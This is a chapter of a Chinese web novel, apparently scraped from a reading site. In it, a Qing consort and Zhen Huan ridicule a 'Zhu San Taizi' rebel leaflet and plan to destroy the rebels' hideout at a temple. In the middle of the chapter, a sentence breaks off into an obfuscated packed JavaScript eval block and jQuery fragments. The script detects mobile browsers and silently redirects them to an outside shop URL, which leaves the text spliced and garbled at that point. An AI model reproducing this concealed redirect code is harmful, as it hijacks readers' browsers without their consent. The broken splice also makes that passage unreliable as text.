默认冷灰
24号文字
方正启体

84.无语

作者:赵福金本书字数:K更新时间:
    粘杆处的效率,在高压与明确指令下,展现得淋漓尽致。就在年羹尧抵达江宁、与阿尔松阿密议兵力部署的次日傍晚,一名粘杆处侍卫便带来了新的、指向性极强的发现。


    这名侍卫显然经过乔装,身上还沾着些香灰与尘土,他悄无声息地进入曹府为我临时辟出的书房,单膝跪地,声音压得极低却难掩兴奋:“娘娘,奴才等人在江宁城东郊外,一处名为‘栖霞寺’的僻静庙宇后山柴房附近,发现了异常。那庙宇看似清修之地,但近日出入的香客中,混有不少行迹可疑、暗带江湖气的生面孔。奴才等人暗中蹲守,发现他们入夜后常在柴房聚集,有低语声。今日午后,趁其不备,奴才潜入探查,在柴房角落一处松动的砖石下,发现了这个。”


    他双手呈上一张折叠起来的、质地粗糙的毛边纸。


    我接过,展开。纸张泛黄,墨迹不算新鲜,但也绝非陈年旧物。上面是用工整却略显匠气的楷书,写着一篇不长不短的“檄文”,或者更准确地说,是一份鼓动造反的传单。开篇便是对“建虏”的一通痛骂,指责其“窃据神州”、“荼毒生灵”,继而笔锋一转,开始大肆鼓吹“前明正统”、“光复汉室”,而核心的号召与名义,赫然是——


    “恭迎朱三太子殿下,奉天倡义,廓清妖氛!”


    “唯朱慈炯殿下,乃崇祯皇帝嫡脉,天命所归,当主华夏!”


    朱三太子!朱慈炯!


    这两个在明末清初历史上缠绕不休、如同幽灵般的名字,此刻以如此直白的方式,出现在我手中的这张粗劣传单上。果然,红帮那些“反清复明”的梦,做得是一刻也不曾停歇,而且已经开始从地下暗流,尝试着向水面泛起更明显的泡沫了。


    我将传单随手递给了身旁的甄嬛。她接过,目光快速扫过上面的字句,当看到“朱三太子”、“朱慈炯”时,我能清晰地感觉到她捏着纸张的手指微微一紧,呼吸也有一瞬间的凝滞。显然,她很清楚这两个名字背后所代表的政治敏感性与可能引发的腥风血雨。但她很快控制住了自己的反应,脸上依旧保持着沉静,只是眼神变得更加幽深,专注地继续看下去,仿佛要将每一个字都刻进脑子里。


    侍卫禀报完毕,见我们无更多吩咐,便行礼悄然退下,书房内只剩下我与甄嬛,以及侍立门边的剪秋。


    待到侍卫的脚步声完全消失在廊外,我放下手中把玩的一枚镇纸,目光落在那张被甄嬛轻轻放在书案上的传单,脸上忽然浮起一丝毫不掩饰的、充满轻蔑与荒谬感的笑容,甚至带着点市井俚语般的嘲讽语气,低声啐道:


    “嗤——还以为能玩出什么新鲜花样呢,搞来搞去,又是这套老掉牙的玩意儿。他奶奶的,就不嫌腻味吗?翻来覆去,就只会扯这两个名字当大旗,骗鬼呢?”


    我的反应显然出乎甄嬛的预料。她猛地抬起头,眼中满是惊愕与不解,似乎没料到我看到如此“大逆不道”的“逆文”,不仅不震怒,反而是一副“就这?”的鄙夷神态。她迟疑了一下,才低声道:


    “娘娘……臣妾没想到,您还能如此……安之若素。家父曾严肃告诫过臣妾,在朝在野,但凡有‘朱三太子’、‘朱慈炯’这几个字冒头,无论真假,都必然是震动朝野、牵连无数的大案、要案!皇上和朝廷,是绝不会坐视不理的。您……您不担心吗?”


    “担心?当然担心。” 我收起那丝嘲讽的笑容,但眼中的轻蔑与洞悉依旧清晰,“我担心的是这帮蠢货黔驴技穷,狗急跳墙,用这种漏洞百出的幌子煽动无知百姓,平白添乱,让江南更不太平。至于这‘朱三太子’、‘朱慈炯’本身?”


    我走到书案后,从一旁摞着的几本书中,抽出一本《明史纪事本末》,随手翻到明末部分,指尖点着上面的纪年,看向甄嬛,语气带着一种近乎残酷的冷静:


    “菀贵人,你熟读诗书,也通史籍。那你告诉本宫,按史书记载,即便那崇祯皇帝的第三子朱慈炯真在甲申之变时侥幸未死,活了下来,那么到现在,雍正……嗯,现在是雍正几年了?就算雍正二年吧,他该多少岁了?”


    甄嬛被我问得一愣,但她心思敏捷,略一计算,脸上便露出了恍然与更深的荒谬之色,喃喃道:“甲申至今……已整整八十年了。若朱慈炯当时尚在襁褓,如今也该是八旬老翁。若当时已是幼童,那现在……没有一百岁,也至少有九十多岁了!”


    “不错!” 我将书合上,发出“啪”的一声轻响,“这就是那帮躲在阴沟里的老鼠,最愚蠢、最可笑之处! 他们也不动动那生锈的脑子想想——就算,就算那朱慈炯真有九条命,在八十年前北京城破时没被李自成找到,没被清军搜出,也没老死、病死在哪个荒山野岭,他真的活到了现在……”


    我的声音提高,带着毫不留情的讥诮:“一个九十多岁,甚至可能一百岁的老人! 牙齿掉光,耳聋眼花,恐怕连床都下不来,走两步路都得喘半天,脑子早就糊涂得连自己是谁都记不清了!还他妈的跑来江南搞‘谋反’、‘光复’这种把脑袋别在裤腰带上的高危活计?他是嫌自己命太长,还是觉得阎王爷不收他,特意跑来给咱们大清官兵送业绩、助助兴?”


    我这番毫不留情、甚至带着粗口的讽刺,将“朱三太子”这个政治神话戳得千疮百孔。甄嬛听得先是目瞪口呆,随即忍不住“噗嗤”一声笑了出来,那笑容里也充满了荒谬与释然。她摇头叹道:


    “娘娘这么一说……还真是荒唐透顶!臣妾方才只顾着紧张这名字背后的‘大案’意味,却忘了这最基本的人情事理、生老病死。” 她顿了顿,脸上露出深思之色,顺着我的思路继续剖析下去,语气渐渐变得冷


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17010555|193341||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    静而犀利:


    “退一万步说,就算真有那么个老糊涂的‘朱三太子’被人拿来当傀儡。可这江南百姓,前明是怎么待他们的?万历年间,税监、矿监那群没卵子的阉货,在江南横征暴敛,搞得民变四起,怨声载道!天启朝就更不用提了,年年不是水就是旱,不是蝗就是瘟,朝廷可曾认真赈济过?百姓差不多就是吊着一口气在活!到了崇祯朝,好了,辽饷、剿饷、练饷,‘三饷’齐下,那真是刮地三尺,不给人留活路!征了海量的银子,可你看看那时候的明军,跟一群叫花子、乞丐有什么分别?军械破烂,面有菜色,连饭都吃不饱!就这样,还指望江南百姓念着前明的好,跟着一个不知是真是假、就算真的也老得掉渣的‘朱三太子’,去‘恢复大明’?”


    她越说越激动,眼中闪烁着理性与历史洞察的光芒:“这哪里是‘复国’,这分明是拉着所有人,再跳回那个烂泥坑、火坑里去!用百姓的血肉,去填他们那永远填不满的野心和虚幻的旧梦!这不是荒唐,是什么?”


    “说得好!” 我赞许地看着甄嬛。她能跳出对“朱三太子”这个名字的本能恐惧,从历史事实、民生疾苦的角度去解构其号召力的虚妄,这进步不可谓不大。“正是荒唐透顶! 所以,看到这种东西,本宫第一感觉不是怕,是烦,烦他们蠢而不自知,净弄些上不得台面的把戏,浪费朝廷精力,扰乱地方安宁。”


    我将那张传单揉成一团,扔进旁边的字纸篓里,仿佛丢弃一件真正的垃圾。


    “不过,” 我话锋一转,神色重新变得冷峻,“荒唐归荒唐,危害却是实实在在的。总有些被蒙蔽的、或别有用心的人,会借着这面破旗生事。粘杆处发现的那个栖霞寺据点,必须盯死,摸清其人员、联络、藏匿的武器。等李卫和年羹尧那边准备好,这就是我们送给红帮的,第一份‘大礼’——连根拔起,一个不留! 用事实告诉那些还做着前朝梦的遗老遗少、江湖亡命——大清的天下,稳如泰山。你们那套,早就过时了,而且,蠢得可笑!”


    甄嬛重重点头,眼中再无半分迟疑与惧色,只剩下清晰的战意与冷静:“臣妾明白了。娘娘,接下来该如何配合李大人和年大将军行动?”


    “你先将这张传单的内容,以及我们对‘朱三太子’荒谬之处的分析,整理成简要条陈。稍后本宫要亲自去见李卫和年羹尧。这场由红帮主动挑起的‘舆论战’和‘据点暴露’,或许……正是我们引蛇出洞、进而一网打尽的绝佳契机。” 我嘴角勾起一丝冰冷的弧度。


    窗外,暮色渐浓。但书房内的灯火,却将我与甄嬛的身影,映照得格外清晰、坚定。敌人已经亮出了一张自以为是的“王牌”,却不知这张牌在我们眼中,早已是腐朽不堪、漏洞百出的废牌。而这场博弈的主动权,正悄然向着我们手中转移。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)